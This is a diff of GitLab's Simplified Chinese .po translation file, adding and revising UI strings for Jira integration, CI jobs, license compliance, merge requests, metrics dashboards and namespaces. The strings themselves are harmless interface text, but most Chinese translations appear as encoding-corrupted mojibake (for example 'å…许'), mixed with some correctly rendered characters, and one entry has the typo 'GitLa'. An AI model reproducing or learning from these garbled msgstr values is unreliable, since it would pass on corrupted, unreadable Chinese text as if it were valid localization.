msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "%{noteable_model_name} 事件已ç¦ç”¨ã€‚"
@@ -13402,13 +13776,13 @@ msgid "JiraService|If different from Web URL"
msgstr "如果与 Web URL ä¸åŒ"
msgid "JiraService|Issue List"
-msgstr ""
+msgstr "议题列表"
msgid "JiraService|Jira API URL"
msgstr "Jira API URL"
msgid "JiraService|Jira Issues"
-msgstr ""
+msgstr "Jira议题"
msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
msgstr "在æ交中引用议题时将创建Jira评论。"
@@ -13420,14 +13794,17 @@ msgid "JiraService|Jira issue tracker"
msgstr "Jira 议题跟踪"
msgid "JiraService|Jira project key"
-msgstr ""
+msgstr "Jira project key"
msgid "JiraService|Open Jira"
-msgstr ""
+msgstr "打开Jira"
msgid "JiraService|Password or API token"
msgstr "密ç æˆ– API 令牌"
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr "转æ¢ID"
@@ -13443,20 +13820,23 @@ msgstr "æœåŠ¡å™¨ç‰ˆæœ¬è¯·ä½¿ç”¨ç”¨æˆ·å,云版本请使用电å­é‚®ä»¶"
msgid "JiraService|Username or Email"
msgstr "用户å或电å­é‚®ä»¶"
-msgid "JiraService|View Jira issues in GitLab"
+msgid "JiraService|Using Jira for issue tracking?"
msgstr ""
+msgid "JiraService|View Jira issues in GitLab"
+msgstr "在GitLab查看Jira议题"
+
msgid "JiraService|Warning: All GitLab users that have access to this GitLab project will be able to view all issues from the Jira project specified below."
-msgstr ""
+msgstr "警告:所有能够访问此GitLab项目的GitLab用户将能够查看以下指定的Jira项目的所有议题。"
msgid "JiraService|Web URL"
msgstr "Web URL"
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
-msgstr ""
+msgstr "在ä¸ç¦»å¼€GitLab的情况下处ç†Jira议题。添加一个Jiraèœå•æ¥è®¿é—®æ‚¨çš„Jira议题列表,并å¯ä»¥ä»¥åªè¯»æ¨¡å¼æŸ¥çœ‹ä»»ä½•è®®é¢˜ã€‚"
msgid "JiraService|e.g. AB"
-msgstr ""
+msgstr "例如:AB"
msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
msgstr "转æ¢IDåªèƒ½åŒ…å«æ•°å­—或用“, â€æˆ–“; â€åˆ†éš”çš„æ•°å­—"
@@ -13471,10 +13851,10 @@ msgid "Job ID"
msgstr "作业 ID"
msgid "Job artifact"
-msgstr ""
+msgstr "作业产物"
msgid "Job artifacts"
-msgstr ""
+msgstr "作业产物"
msgid "Job has been erased"
msgstr "作业已被删除"
@@ -13558,10 +13938,10 @@ msgid "Job|This job is stuck because the project doesn't have any runners online
msgstr "此作业已阻塞,因为该项目没有分é…任何å¯ç”¨Runner。"
msgid "Job|This job is stuck because you don't have any active runners online or available with any of these tags assigned to them:"
-msgstr ""
+msgstr "此作业已阻塞,因为您未分é…任何具备这些标签的å¯ç”¨Runner:"
msgid "Job|This job is stuck because you don't have any active runners that can run this job."
-msgstr ""
+msgstr "此作业已阻塞,因为没有å¯ç”¨çš„Runner处ç†æ­¤é¡¹ä½œä¸šã€‚"
msgid "Job|for"
msgstr "于"
@@ -13597,7 +13977,7 @@ msgid "Just me"
msgstr "仅我自己"
msgid "K8s pod health"
-msgstr ""
+msgstr "K8s podå¥åº·"
msgid "Keep divergent refs"
msgstr "ä¿ç•™åˆ†å‰çš„refs"
@@ -13678,7 +14058,7 @@ msgid "LFS"
msgstr "LFS"
msgid "LFS object"
-msgstr ""
+msgstr "LFS对象"
msgid "LFS objects"
msgstr "LFS 对象"
@@ -13731,8 +14111,8 @@ msgstr "标记å¯ç”¨äºŽå¯¹è®®é¢˜å’Œåˆå¹¶è¯·æ±‚进行分类。"
msgid "Labels can be applied to issues and merge requests."
msgstr "标记å¯ç”¨äºŽè®®é¢˜å’Œåˆå¹¶è¯·æ±‚。"
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>将标记</span> %{labelTitle} <span>å‡çº§ä¸ºç¾¤ç»„标记?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "å‡çº§æ ‡è®°"
@@ -13769,7 +14149,7 @@ msgid "Last Seen"
msgstr "最åŽå‡ºçŽ°"
msgid "Last Used"
-msgstr ""
+msgstr "最近使用"
msgid "Last accessed on"
msgstr "最åŽè®¿é—®æ—¶é—´"
@@ -13790,7 +14170,7 @@ msgid "Last edited by %{name}"
msgstr "最åŽä¿®æ”¹æ¥è‡ªäºŽ%{name}"
msgid "Last item before this page loaded in your browser:"
-msgstr ""
+msgstr "此页é¢åœ¨æ‚¨çš„æµè§ˆå™¨ä¸­è½½å…¥å‰çš„最åŽä¸€ä¸ªé¡¹ç›®ï¼š"
msgid "Last name"
msgstr "姓"
@@ -13958,10 +14338,10 @@ msgid "License History"
msgstr "许å¯è¯åŽ†å²è®°å½•"
msgid "License ID:"
-msgstr "许å¯è¯ID:"
+msgstr "许å¯è¯ID:"
-msgid "License URL"
-msgstr "许å¯è¯ç½‘å€"
+msgid "License overview"
+msgstr ""
msgid "License-Check"
msgstr "许å¯è¯æ£€æŸ¥"
@@ -13973,7 +14353,7 @@ msgid "LicenseCompliance|%{docLinkStart}License Approvals%{docLinkEnd} are inact
msgstr "%{docLinkStart}许å¯è¯æ‰¹å‡†%{docLinkEnd}无效"
msgid "LicenseCompliance|Acceptable license to be used in the project"
-msgstr ""
+msgstr "项目中å¯æŽ¥å—的许å¯è¯"
msgid "LicenseCompliance|Add a license"
msgstr "添加许å¯è¯"
@@ -13994,7 +14374,7 @@ msgid "LicenseCompliance|Deny"
msgstr "æ‹’ç»"
msgid "LicenseCompliance|Disallow merge request if detected and will instruct developer to remove"
-msgstr ""
+msgstr "如检测到则ä¸å…许åˆå¹¶è¯·æ±‚并指示开å‘人员删除"
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr "了解更多有关%{linkStart}许å¯è¯æ‰¹å‡†%{linkEnd}çš„ä¿¡æ¯"
@@ -14007,7 +14387,7 @@ msgstr "许å¯è¯æ‰¹å‡†"
msgid "LicenseCompliance|License Compliance detected %d license and policy violation for the source branch only"
msgid_plural "LicenseCompliance|License Compliance detected %d licenses and policy violations for the source branch only"
-msgstr[0] ""
+msgstr[0] "许å¯è¯åˆè§„检查åªåœ¨æºåˆ†æ”¯ä¸Šæ£€æµ‹åˆ°%d个许å¯è¯åŠç­–ç•¥è¿å。"
msgid "LicenseCompliance|License Compliance detected %d license and policy violation for the source branch only; approval required"
msgid_plural "LicenseCompliance|License Compliance detected %d licenses and policy violations for the source branch only; approval required"
@@ -14023,7 +14403,7 @@ msgstr[0] "许å¯è¯åˆè§„检测到%d个新的许å¯è¯"
msgid "LicenseCompliance|License Compliance detected %d new license and policy violation"
msgid_plural "LicenseCompliance|License Compliance detected %d new licenses and policy violations"
-msgstr[0] ""
+msgstr[0] "许å¯è¯åˆè§„检测到%d个新的许å¯è¯åŠç­–ç•¥è¿å。"
msgid "LicenseCompliance|License Compliance detected %d new license and policy violation; approval required"
msgid_plural "LicenseCompliance|License Compliance detected %d new licenses and policy violations; approval required"
@@ -14053,11 +14433,11 @@ msgstr "删除许å¯è¯"
msgid "LicenseCompliance|Remove license?"
msgstr "删除许å¯è¯å—?"
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
-msgstr "此项目目å‰æ²¡æœ‰å·²æ‰¹å‡†æˆ–列入黑åå•çš„许å¯è¯ã€‚"
+msgid "LicenseCompliance|There are currently no policies in this project."
+msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
-msgstr "此项目没有匹é…的已批准或列入黑åå•çš„许å¯è¯ã€‚"
+msgid "LicenseCompliance|There are currently no policies that match in this project."
+msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "此许å¯è¯å·²ç»å­˜åœ¨äºŽè¯¥é¡¹ç›®ä¸­ã€‚"
@@ -14083,6 +14463,9 @@ msgstr "需è¦è®¸å¯çš„功能"
msgid "Licensed to"
msgstr "授æƒç»™"
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "许å¯è¯"
@@ -14090,7 +14473,7 @@ msgid "Licenses|%{remainingComponentsCount} more"
msgstr "其余%{remainingComponentsCount}项"
msgid "Licenses|Acceptable license to be used in the project"
-msgstr ""
+msgstr "项目中å¯æŽ¥å—的许å¯è¯"
msgid "Licenses|Component"
msgstr "组件"
@@ -14105,7 +14488,7 @@ msgid "Licenses|Detected licenses that are out-of-compliance with the project's
msgstr "检测到的ä¸ç¬¦åˆé¡¹ç›®æŒ‡å®šæ”¿ç­–的许å¯è¯"
msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
+msgstr "检测到åŽä¸å…许åˆå¹¶è¯·æ±‚并指示开å‘者删除"
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr "显示项目中检测到的许å¯è¯ï¼ŒåŸºäºŽ%{linkStart}最新的æˆåŠŸæ‰«æ%{linkEnd}"
@@ -14146,9 +14529,6 @@ msgstr "购买许å¯è¯"
msgid "License|License"
msgstr "许å¯è¯"
-msgid "License|Licensed user count exceeded"
-msgstr "超出许å¯ç”¨æˆ·æ•°"
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr "您éšæ—¶å¯ä»¥é€šè¿‡å‡çº§è®¡åˆ’æ¥æ¢å¤å¯¹é‡‘牌功能的访问æƒé™ã€‚"
@@ -14164,9 +14544,6 @@ msgstr "您的许å¯è¯"
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr "您的GitLab Ultimateå…费试用将在%{trial_ends_on}到期。"
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr "您的当å‰ç”¨æˆ·æ•°å·²è¶…出订阅中的许å¯ç”¨æˆ·æ•° %{extra_users_count}。您ä»å¯ä»¥ç»§ç»­æ·»åŠ æ›´å¤šç”¨æˆ·ï¼Œè¶…é¢è´¹ç”¨å°†åŒ…å«åœ¨ä¸‹ä¸€æ¬¡çš„å¸å•ä¸­ã€‚"
-
msgid "Limit display of time tracking units to hours."
msgstr "é™åˆ¶æ—¶é—´è·Ÿè¸ªå•ä½æ˜¾ç¤ºåˆ°å°æ—¶ã€‚"
@@ -14193,7 +14570,7 @@ msgid "Link title is required"
msgstr "链接标题为必填项"
msgid "Link to go to GitLab pipeline documentation"
-msgstr ""
+msgstr "链接以转到GitLaæµæ°´çº¿æ–‡æ¡£"
msgid "Linked emails (%{email_count})"
msgstr "链接的电å­é‚®ä»¶ (%{email_count})"
@@ -14219,6 +14596,9 @@ msgstr "列出Gitea仓库"
msgid "List available repositories"
msgstr "列出å¯ç”¨ä»“库"
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr "列表设置"
@@ -14238,6 +14618,9 @@ msgid "Live preview"
msgstr "实时预览"
msgid "Load more"
+msgstr "加载更多"
+
+msgid "Load more users"
msgstr ""
msgid "Loading"
@@ -14291,8 +14674,8 @@ msgstr "未找到é”"
msgid "Lock the discussion"
msgstr "é”定讨论"
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
-msgstr "é”定此%{issuableDisplayName}å—?é”定åŽå°†åªæœ‰<strong>项目æˆå‘˜</strong>å¯ä»¥å‘表评论。"
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
msgid "Lock to current projects"
msgstr "é”定到当å‰é¡¹ç›®"
@@ -14342,14 +14725,20 @@ msgstr "MD5"
msgid "MERGED"
msgstr "å·²åˆå¹¶"
-msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
+msgid "MR widget|Back to the Merge request"
msgstr ""
-msgid "MR widget|The pipeline will test your code on every commit. A %{codeQualityLinkStart}code quality report%{codeQualityLinkEnd} will appear in your merge requests to warn you about potential code degradations."
+msgid "MR widget|See your pipeline in action"
msgstr ""
+msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
+msgstr "请查阅我们的%{beginnerLinkStart}æŒç»­é›†æˆæ–°æ‰‹æŒ‡å—%{beginnerLinkEnd}å’Œ%{exampleLinkStart}GitLab CI/CD实例%{exampleLinkEnd}æ¥äº†è§£æ›´å¤šä¿¡æ¯ã€‚"
+
+msgid "MR widget|The pipeline will test your code on every commit. A %{codeQualityLinkStart}code quality report%{codeQualityLinkEnd} will appear in your merge requests to warn you about potential code degradations."
+msgstr "æµæ°´çº¿å°†åœ¨æ¯æ¬¡æ交时测试您的代ç ã€‚%{codeQualityLinkStart}代ç è´¨é‡æŠ¥å‘Š%{codeQualityLinkEnd}将出现在您的åˆå¹¶è¯·æ±‚中,对您潜在的代ç è´¨é‡ä¸‹é™å‘出警告。"
+
msgid "MRApprovals|Approvals"
-msgstr "批准"
+msgstr "核准"
msgid "MRApprovals|Approved by"
msgstr "已核准人"
@@ -14357,6 +14746,9 @@ msgstr "已核准人"
msgid "MRApprovals|Approvers"
msgstr "核准人"
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr "åªæŸ¥çœ‹å˜æ›´å†…容"
@@ -14441,9 +14833,6 @@ msgstr "Manifest文件导入"
msgid "Manifest import"
msgstr "Manifest文件导入"
-msgid "Manual job"
-msgstr "手动作业"
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "无法ä¿å­˜è®®é¢˜çš„顺åº"
@@ -14484,7 +14873,7 @@ msgid "Markdown"
msgstr "Markdown"
msgid "Markdown Help"
-msgstr ""
+msgstr "Markdown帮助"
msgid "Markdown enabled"
msgstr "支æŒMarkdownæ ¼å¼"
@@ -14493,7 +14882,7 @@ msgid "Markdown is supported"
msgstr "支æŒMarkdown"
msgid "Marked For Deletion At - %{deletion_time}"
-msgstr ""
+msgstr "标记删除于 - %{deletion_time}"
msgid "Marked To Do as done."
msgstr "将待办事项标记为已完æˆã€‚"
@@ -14555,26 +14944,23 @@ msgstr "建议:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr "æ­¤æœåŠ¡å…许用户通过在Mattermost中输入斜æ å‘½ä»¤æ¥å¯¹è¯¥é¡¹ç›®æ‰§è¡Œå¸¸è§æ“作。"
-msgid "Maven Metadata"
-msgstr "Maven 元数æ®"
-
msgid "Max Group Export Download requests per minute per user"
-msgstr ""
+msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§ç¾¤ç»„导出下载请求数"
msgid "Max Group Export requests per minute per user"
-msgstr ""
+msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§ç¾¤ç»„导出请求数"
msgid "Max Group Import requests per minute per user"
-msgstr ""
+msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§ç¾¤ç»„导入请求数"
msgid "Max Project Export Download requests per minute per user"
-msgstr ""
+msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§é¡¹ç›®å¯¼å‡ºä¸‹è½½è¯·æ±‚æ•°"
msgid "Max Project Export requests per minute per user"
-msgstr ""
+msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§é¡¹ç›®å¯¼å‡ºè¯·æ±‚æ•°"
msgid "Max Project Import requests per minute per user"
-msgstr ""
+msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§é¡¹ç›®å¯¼å…¥è¯·æ±‚æ•°"
msgid "Max access level"
msgstr "最高访问级别"
@@ -14613,7 +14999,7 @@ msgid "Maximum field length"
msgstr "最大字段长度"
msgid "Maximum file size indexed (KiB)"
-msgstr ""
+msgstr "索引的最大文件大å°(KiB)"
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr "最大文件大å°ä¸º 2MB。请选择一个较å°çš„文件。"
@@ -14628,7 +15014,7 @@ msgid "Maximum job timeout has a value which could not be accepted"
msgstr "作业最大超时设置无效"
msgid "Maximum length 100 characters"
-msgstr ""
+msgstr "最大长度100个字符"
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr "个人访问令牌有最长有效期设定,过期日期必须设为%{maximum_allowable_date}之å‰ã€‚"
@@ -14691,20 +15077,26 @@ msgid "Members"
msgstr "æˆå‘˜"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
+msgstr "æˆå‘˜å¯ç”±é¡¹ç›®çš„%{i_open}维护者%{i_close} 或 %{i_open}所有者%{i_close}添加"
+
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
+msgid "Members of %{group} can also merge into this branch: %{branch}"
msgstr ""
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{strong_open}%{project_name}%{strong_close}"
+msgstr "%{strong_open}%{project_name}%{strong_close}çš„æˆå‘˜"
+
msgid "Members of a group may only view projects they have permission to access"
msgstr "群组æˆå‘˜åªèƒ½æŸ¥çœ‹ä»–们有æƒè®¿é—®çš„项目"
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr "有æƒè®¿é—®%{strong_start}%{group_name}%{strong_end}çš„æˆå‘˜"
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr "申请访问%{strong_start}%{group_name}%{strong_end}待定的æˆå‘˜"
-
msgid "Memory Usage"
msgstr "内存使用情况"
@@ -14721,7 +15113,7 @@ msgid "Merge Request"
msgstr "åˆå¹¶è¯·æ±‚"
msgid "Merge Request Analytics"
-msgstr ""
+msgstr "åˆå¹¶è¯·æ±‚分æž"
msgid "Merge Request Approvals"
msgstr "åˆå¹¶è¯·æ±‚核准"
@@ -14732,15 +15124,15 @@ msgstr "åˆå¹¶è¯·æ±‚æ交"
msgid "Merge Requests"
msgstr "åˆå¹¶è¯·æ±‚"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "创建åˆå¹¶è¯·æ±‚"
msgid "Merge Requests in Review"
msgstr "评审中的åˆå¹¶è¯·æ±‚"
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr "自动åˆå¹¶(%{strategy})"
@@ -14756,6 +15148,9 @@ msgstr "ç«‹å³åˆå¹¶"
msgid "Merge in progress"
msgstr "正在åˆå¹¶"
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr "åˆå¹¶é€‰é¡¹"
@@ -14778,7 +15173,7 @@ msgid "Merge request dependencies"
msgstr "åˆå¹¶è¯·æ±‚ä¾èµ–"
msgid "Merge request was scheduled to merge after pipeline succeeds"
-msgstr ""
+msgstr "åˆå¹¶è¯·æ±‚已安排在æµæ°´çº¿æˆåŠŸåŽåˆå¹¶"
msgid "Merge requests"
msgstr "åˆå¹¶è¯·æ±‚"
@@ -14819,6 +15214,27 @@ msgstr "冲çª"
msgid "MergeConflict|origin//their changes"
msgstr "æ¥æº//他们的更改"
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr "对%{selectStart}开始于%{selectEnd}到%{end}è¡Œå‘表评论"
@@ -14951,6 +15367,12 @@ msgstr "请选择一个指标"
msgid "MetricChart|Selected"
msgstr "选中的"
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "指标"
@@ -14967,7 +15389,7 @@ msgid "Metrics Dashboard YAML definition"
msgstr "指标仪表æ¿YAML定义"
msgid "Metrics Dashboard YAML definition is invalid:"
-msgstr "指标仪表æ¿YAML定义无效:"
+msgstr "指标仪表æ¿YAML定义无效:"
msgid "Metrics Dashboard YAML definition is valid."
msgstr "指标仪表æ¿YAML定义有效。"
@@ -15021,7 +15443,7 @@ msgid "MetricsSettings|Manage Metrics Dashboard settings."
msgstr "管ç†æŒ‡æ ‡ä»ªè¡¨æ¿è®¾ç½®ã€‚"
msgid "MetricsSettings|Metrics dashboard"
-msgstr ""
+msgstr "指标仪表æ¿"
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
msgstr "UTC(世界标准时间)"
@@ -15030,58 +15452,61 @@ msgid "MetricsSettings|User's local timezone"
msgstr "用户本地时区"
msgid "Metrics|1. Define and preview panel"
-msgstr ""
+msgstr "1. 定义和预览é¢æ¿"
msgid "Metrics|2. Paste panel YAML into dashboard"
-msgstr ""
+msgstr "2. å°†é¢æ¿YAML粘贴到仪表æ¿"
msgid "Metrics|Add metric"
msgstr "添加指标"
msgid "Metrics|Add panel"
-msgstr ""
+msgstr "添加é¢æ¿"
msgid "Metrics|Avg"
msgstr "å¹³å‡"
msgid "Metrics|Back to dashboard"
-msgstr ""
+msgstr "返回到仪表æ¿"
msgid "Metrics|Cancel"
-msgstr ""
+msgstr "å–消"
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr "查看有关部署到环境的CI/CD文档"
-msgid "Metrics|Copy YAML"
+msgid "Metrics|Collapse panel"
msgstr ""
-msgid "Metrics|Copy and paste the panel YAML into your dashboard YAML file."
+msgid "Metrics|Collapse panel (Esc)"
msgstr ""
+msgid "Metrics|Copy YAML"
+msgstr "å¤åˆ¶YAML"
+
+msgid "Metrics|Copy and paste the panel YAML into your dashboard YAML file."
+msgstr "å¤åˆ¶å¹¶ç²˜è´´é¢æ¿YAML到您的仪表æ¿YAML文件。"
+
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr "创建自定义仪表æ¿%{fileName}"
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "创建指标"
msgid "Metrics|Create new dashboard"
-msgstr ""
+msgstr "创建新仪表æ¿"
msgid "Metrics|Create your dashboard configuration file"
-msgstr ""
+msgstr "创建仪表æ¿é…置文件"
msgid "Metrics|Current"
msgstr "当å‰"
msgid "Metrics|Dashboard files can be found in %{codeStart}.gitlab/dashboards%{codeEnd} at the root of this project."
-msgstr ""
+msgstr "仪表æ¿æ–‡ä»¶å¯ä»¥åœ¨æ­¤é¡¹ç›®çš„根目录下%{codeStart}.gitlab/dashboards%{codeEnd}中找到。"
msgid "Metrics|Define panel YAML below to preview panel."
-msgstr ""
+msgstr "在下é¢å®šä¹‰é¢æ¿YAML以预览é¢æ¿ã€‚"
msgid "Metrics|Delete metric"
msgstr "删除指标"
@@ -15093,14 +15518,20 @@ msgid "Metrics|Duplicate"
msgstr "å¤åˆ¶"
msgid "Metrics|Duplicate current dashboard"
-msgstr ""
+msgstr "å¤åˆ¶å½“å‰ä»ªè¡¨æ¿"
msgid "Metrics|Duplicate dashboard"
msgstr "å¤åˆ¶ä»ªè¡¨æ¿"
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr "正在å¤åˆ¶..."
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] "编辑指标"
@@ -15111,9 +15542,6 @@ msgstr "展开é¢æ¿"
msgid "Metrics|For grouping similar metrics"
msgstr "用于分组类似指标"
-msgid "Metrics|Go back (Esc)"
-msgstr "返回 (Esc)"
-
msgid "Metrics|Invalid time range, please verify."
msgstr "无效的时间范围,请验è¯ã€‚"
@@ -15136,11 +15564,14 @@ msgid "Metrics|Max"
msgstr "最大值"
msgid "Metrics|Metrics Settings"
-msgstr ""
+msgstr "指标设置"
msgid "Metrics|Min"
msgstr "最å°å€¼"
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr "必须是有效的 PromQL 查询。"
@@ -15148,16 +15579,16 @@ msgid "Metrics|New metric"
msgstr "创建指标"
msgid "Metrics|Open repository"
-msgstr ""
+msgstr "打开仓库"
msgid "Metrics|Panel YAML"
-msgstr ""
+msgstr "é¢æ¿YAML"
msgid "Metrics|Panel YAML copied"
-msgstr ""
+msgstr "é¢æ¿YAMLå·²å¤åˆ¶"
msgid "Metrics|Preview panel"
-msgstr ""
+msgstr "预览é¢æ¿"
msgid "Metrics|PromQL query is valid"
msgstr "PromotQL 查询有效"
@@ -15165,6 +15596,9 @@ msgstr "PromotQL 查询有效"
msgid "Metrics|Prometheus Query Documentation"
msgstr "Prometheus查询文档"
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr "刷新仪表æ¿"
@@ -15172,7 +15606,7 @@ msgid "Metrics|Select a value"
msgstr "选择一个值"
msgid "Metrics|Set refresh rate"
-msgstr ""
+msgstr "设置刷新率"
msgid "Metrics|Star dashboard"
msgstr "星标仪表æ¿"
@@ -15214,7 +15648,7 @@ msgid "Metrics|There was an error while retrieving metrics. %{message}"
msgstr "读å–指标时出错。%{message}"
msgid "Metrics|To create a new dashboard, add a new YAML file to %{codeStart}.gitlab/dashboards%{codeEnd} at the root of this project."
-msgstr ""
+msgstr "è¦åˆ›å»ºæ–°çš„仪表æ¿ï¼Œè¯·å°†æ–°çš„YAML文件添加到该项目的根目录下%{codeStart}.gitlab /dashboards%{codeEnd}中。"
msgid "Metrics|Unexpected deployment data response from prometheus endpoint"
msgstr "æ¥è‡ªPrometheus终端节点的æ„外部署数æ®å“应"
@@ -15238,11 +15672,14 @@ msgid "Metrics|Values"
msgstr "值"
msgid "Metrics|View documentation"
-msgstr ""
+msgstr "查看文档"
msgid "Metrics|View logs"
msgstr "查看日志"
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "Y轴标签"
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] "里程碑"
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "当å‰è®¸å¯è¯æ— æ³•ä½¿ç”¨é‡Œç¨‹ç¢‘列表"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "里程碑列表显示所选里程碑的所有议题。"
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "关闭:"
@@ -15463,6 +15906,15 @@ msgstr "é•œåƒå·²æˆåŠŸç¦ç”¨ã€‚"
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr "åªæœ‰åœ¨æ‰€é€‰ç¾¤ç»„或用户的计划中包å«é•œåƒåŠŸèƒ½æ—¶ï¼Œæ‰èƒ½ä½¿ç”¨ã€‚"
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr "缺少æ交签å节点ï¼"
@@ -15508,6 +15960,9 @@ msgstr "通过与Sentry集æˆæ¥ç›‘控您的错误。"
msgid "Monitoring"
msgstr "监控"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "月"
@@ -15539,7 +15994,7 @@ msgid "More information is available|here"
msgstr "帮助文档"
msgid "More information."
-msgstr ""
+msgstr "更多信æ¯ã€‚"
msgid "More than %{number_commits_distance} commits different with %{default_branch}"
msgstr "è¶…å‰ %{number_commits_distance} 个æ交与 %{default_branch} ä¸åŒ"
@@ -15596,16 +16051,16 @@ msgid "MrDeploymentActions|Stop environment"
msgstr "终止环境"
msgid "Multi-project"
-msgstr ""
+msgstr "多项目"
msgid "Multi-project Runners cannot be removed"
-msgstr ""
+msgstr "多项目Runner无法删除"
msgid "Multiple IP address ranges are supported."
-msgstr ""
+msgstr "支æŒå¤šä¸ªIP地å€èŒƒå›´ã€‚"
msgid "Multiple domains are supported."
-msgstr ""
+msgstr "支æŒå¤šä¸ªåŸŸå。"
msgid "Multiple issue boards"
msgstr "多é‡è®®é¢˜çœ‹æ¿"
@@ -15632,7 +16087,7 @@ msgid "My-Reaction"
msgstr "我的å应"
msgid "N/A"
-msgstr ""
+msgstr "ä¸é€‚用"
msgid "Name"
msgstr "å称"
@@ -15641,7 +16096,7 @@ msgid "Name has already been taken"
msgstr "å称已被使用"
msgid "Name is required"
-msgstr ""
+msgstr "å称是必需的"
msgid "Name new label"
msgstr "命å新标记"
@@ -15650,16 +16105,16 @@ msgid "Name:"
msgstr "å称:"
msgid "Namespace"
-msgstr ""
+msgstr "命å空间"
msgid "Namespace is empty"
msgstr "命å空间为空"
msgid "Namespace:"
-msgstr ""
+msgstr "命å空间:"
msgid "Namespaces"
-msgstr ""
+msgstr "命å空间"
